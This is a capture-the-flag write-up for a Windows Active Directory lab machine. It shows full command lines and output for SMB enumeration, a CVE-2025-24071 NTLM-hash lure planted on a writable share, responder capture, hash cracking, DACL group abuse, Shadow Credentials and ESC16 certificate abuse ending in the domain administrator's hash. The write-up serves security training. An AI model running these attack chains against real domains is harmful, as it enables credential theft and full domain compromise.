Foothold
Machine Information
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account:
j.fleischman
/J0elTHEM4n1990!
Internal Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-25 23:55:15Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T23:56:50+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Based on the open ports I seem to be dealing with a Domain Controller, which has the FQDN of DC01.fluffy.htb
and is 7 hours ahead of me. Before proceeding I add all the relevant entries to my /etc/hosts
file.
SMB
With the provided credential I enumerate the exposed SMB shares, where I find the non-default IT
share. On which the user has both read and write permissions.
$ nxc smb DC01.FLUFFY.HTB -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB 10.129.212.220 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.212.220 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.212.220 445 DC01 [*] Enumerated shares
SMB 10.129.212.220 445 DC01 Share Permissions Remark
SMB 10.129.212.220 445 DC01 ----- ----------- ------
SMB 10.129.212.220 445 DC01 ADMIN$ Remote Admin
SMB 10.129.212.220 445 DC01 C$ Default share
SMB 10.129.212.220 445 DC01 IPC$ READ Remote IPC
SMB 10.129.212.220 445 DC01 IT READ,WRITE
SMB 10.129.212.220 445 DC01 NETLOGON READ Logon server share
SMB 10.129.212.220 445 DC01 SYSVOL READ Logon server share
To access the contents of the share I use smbclient.py
. Within the share are two ZIP-archives likely related to software installers and single PDF file.
$ smbclient.py 'j.fleischman:J0elTHEM4n1990!@DC01.FLUFFY.HTB'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use IT
# ls
drw-rw-rw- 0 Mon May 26 02:03:59 2025 .
drw-rw-rw- 0 Mon May 26 02:03:59 2025 ..
drw-rw-rw- 0 Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw- 1827464 Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw- 0 Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw- 3225346 Fri May 16 16:51:49 2025 KeePass-2.58.zip
-rw-rw-rw- 169963 Sat May 17 16:31:07 2025 Upgrade_Notice.pdf
# get Upgrade_Notice.pdf
Since the PDF stands out the most and has the highest chance to contain relevant information I download it from the share. Just as the name of the file alluded to, the PDF contains insights into recent, unpatched vulnerabilities affecting the environment.
Privilege Escalation
CVE-2025-24071
Starting with critical vulnerabilities I quickly find proof-of-concept code for CVE-2025-24071 in this Github repository and an accompanying blog post from which the following explanation is quoted.
When a specially crafted .library-ms file containing an SMB path is compressed within a RAR/ZIP archive and subsequently extracted, Windows Explorer automatically parses the contents of this file due to its built-in indexing and preview mechanism.
And in a usual Windows manner the indexing of the file location, even if points to a remote UNC path, will trigger an attempt to authenticated to said share. Allowing a listening attacker to gather NetNTLMv2 hashes and crack them offline. So all in all this vulnerability looks rather promising and the other ZIP archives in the IT
share strength this idea.
From there I generate a ZIP archive containing a .library-ms
file pointing to my attacker machine using the PoC linked above. Using smbclient.py
again to connect to the IT
share and put the crafted ZIP onto the share.
Once that is done I start responder
to catch any incoming authentication requests. After waiting for a short while the NetNTLMv2 hash of the user p.agila
is captured.
$ sudo responder -I tun0
[sudo] password for kali:
[...]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
[...]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.155]
Responder IPv6 [dead:beef:2::1099]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[...]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.212.220
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:5b396b222d50c9b6:6198AE0FC2C0DCB75B00273C8136D281:0101000000000000802DCD64E3CD[...]
This hash was then successfully cracked using Hashcat to recover the plaintext password for the user.
$ hashcat loot/p.agila.hash /usr/share/wordlists/rockyou.txt --show
5600 | NetNTLMv2 | Network Protocol
P.AGILA::FLUFFY:5b396b222d50c9b6:6198ae0fc2c0dcb75b00273c8136d281:0101000000000000802dcd64e3cd[...]:prometheusx-303
Now circling back to BloodHound and looking Outbound Object Control for the newly compromised user shows a path towards compromised three different service accounts. Notable among them is the winrm_svc
user, which is a member of the Remote Management Users
group.
Since pathfinding in BloodHound only allows for one start and one destination the following Cypher query was used to created the graph shown in the image above.
MATCH p = (u:User {objectid: "S-1-5-21-497550768-2797716248-2627064577-1601"})-[:MemberOf]->(g:Group {objectid: "S-1-5-21-497550768-2797716248-2627064577-1604"})-[:GenericAll]-(g1:Group {objectid: "S-1-5-21-497550768-2797716248-2627064577-1607"})-[:GenericWrite]-(u1:User)
RETURN p
DACL Abuse
With the same credential I also collect information about the Active Directory using bloodhound-ce-python
1. The collected data is ingested by the BloodHound Community Edition and will be used later. Which is also available in the Kali Linux repositories since the 2025.2 version.
$ bloodhound-ce-python -u 'j.fleischman' -p 'J0elTHEM4n1990!' -d 'fluffy.htb' --zip --dns-tcp -ns 10.129.212.220 --dns-timeout 5 -c All
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
WARNING: Re-establishing connection with server
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 02M 08S
INFO: Compressing output into 20250526022134_bloodhound.zip
Going down the shown attack path I first add myself (p.agila
) to the Service Accounts
group, making use of my GenericAll
over said group.
$ bloodyAD --host 10.129.212.220 -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' add groupMember 'SERVICE ACCOUNTS' 'p.agila'
[+] p.agila added to SERVICE ACCOUNTS
From here on out I could either add Service Principal Names (SPNs) to each of those accounts using a tool like PowerView
or targetedKerberoasting.py
and subsequently Kerberoast these account to potentially crack their passwords. Alternatively if AD CS is used within the domain I can abuse msDS-KeyCredentialLink
to get the NT hash for the accounts.
While BloodHound does not contain any AD CS information, despite being able to collect it, I still check if AD CS is enabled through different tools. Because it is rather straightforward and can save me from needlessly trying to crack passwords.
Since I recently came across powerview.py I decided to try it out. After connecting as p.agila
I can use most of the PowerView
cmdlets such as Get-DomainCA
to check if a CA and AD CS are configured.
$ powerview 'FLUFFY.HTB/p.agila:prometheusx-303@DC01.FLUFFY.HTB'
╭─LDAPS─[DC01.fluffy.htb]─[FLUFFY\p.agila]-[NS:<auto>]
╰─PV ❯ Get-DomainCA
cn : fluffy-DC01-CA
cACertificate : MIIDjjCCAnagAwIBAgIQNnDE[...]
distinguishedName : CN=fluffy-DC01-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=fluf
fy,DC=htb
displayName : fluffy-DC01-CA
name : fluffy-DC01-CA
objectGUID : {d90880fd-2a8f-43c4-8e12-57c27c80e5ad}
dNSHostName : DC01.fluffy.htb
cACertificateDN : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
certificateTemplates : DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
With the knowledge that AD CS is in play acquired I proceed to use certipy
to automatically perform the ShadowCredential attack for each of the three service accounts.
$ certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -dc-ip 10.129.212.220 -account 'winrm_svc'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '664c3cf5-2cb5-40cd-ec6c-774b60c98a3f'
[*] Adding Key Credential with device ID '664c3cf5-2cb5-40cd-ec6c-774b60c98a3f' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '664c3cf5-2cb5-40cd-ec6c-774b60c98a3f' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
$ certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -dc-ip 10.129.212.220 -account 'ca_svc'
[...]
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
$ certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -dc-ip 10.129.212.220 -account 'ldap_svc'
[...]
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37
The NT hash of winrm_svc
can then be used to connect to the machine using Powershell Remoting via evil-winrm
to read the user flag.
Putting together the knowledge that AD CS is used and that I have compromised an account called ca_svc
. I use the latest version certipy to find vulnerable configurations.
$ certipy find -vulnerable -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250526032204_Certipy.txt'
[*] Wrote text output to '20250526032204_Certipy.txt'
[*] Saving JSON output to '20250526032204_Certipy.json'
[*] Wrote JSON output to '20250526032204_Certipy.json'
Checking out the collected information shows that the Certificate Authority (CA) is vulnerable to ESC16. This AD CS misconfiguration is exploited in a very similar manner to ESC9. Where in ESC9 the Security Extension is disabled happened on a specific certificate template, in ESC16 the Security Extension is disabled globally on the CA.
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
ESC 16
ESC16 is basically ESC9 at a “larger scale”, where as in Certified the CT_FLAG_NO_SECURITY_EXTENSION
was configured on a specific template in this scenario is configured globally on the CA. So to exploit this misconfiguration I use the steps as before.
To start I use certipy
to update the UserPrincipalName of ca_svc
to Administrator
. So that the requested certificate for the Users
template contains said. UPN this will allow me to authenticate as Administrator
using the generated PFX file.
$ certipy account update -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220 -upn 'administrator@fluffy.htb' -user 'ca_svc'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator@fluffy.htb
[*] Successfully updated 'ca_svc'
$ certipy req -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
However before I can successfully authenticate I have to change back the UPN of ca_svc
. Since otherwise there will be conflict when trying to authenticate since two users have the same UPN. With that that done I can get the NT hash for the Administrator
user and from there dump the entire domain if need be.
$ certipy account update -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220 -upn 'ca_svc@fluffy.htb' -user 'ca_svc'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
$ certipy auth -pfx administrator.pfx -u 'administrator@fluffy.htb' -dc-ip 10.129.212.220
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e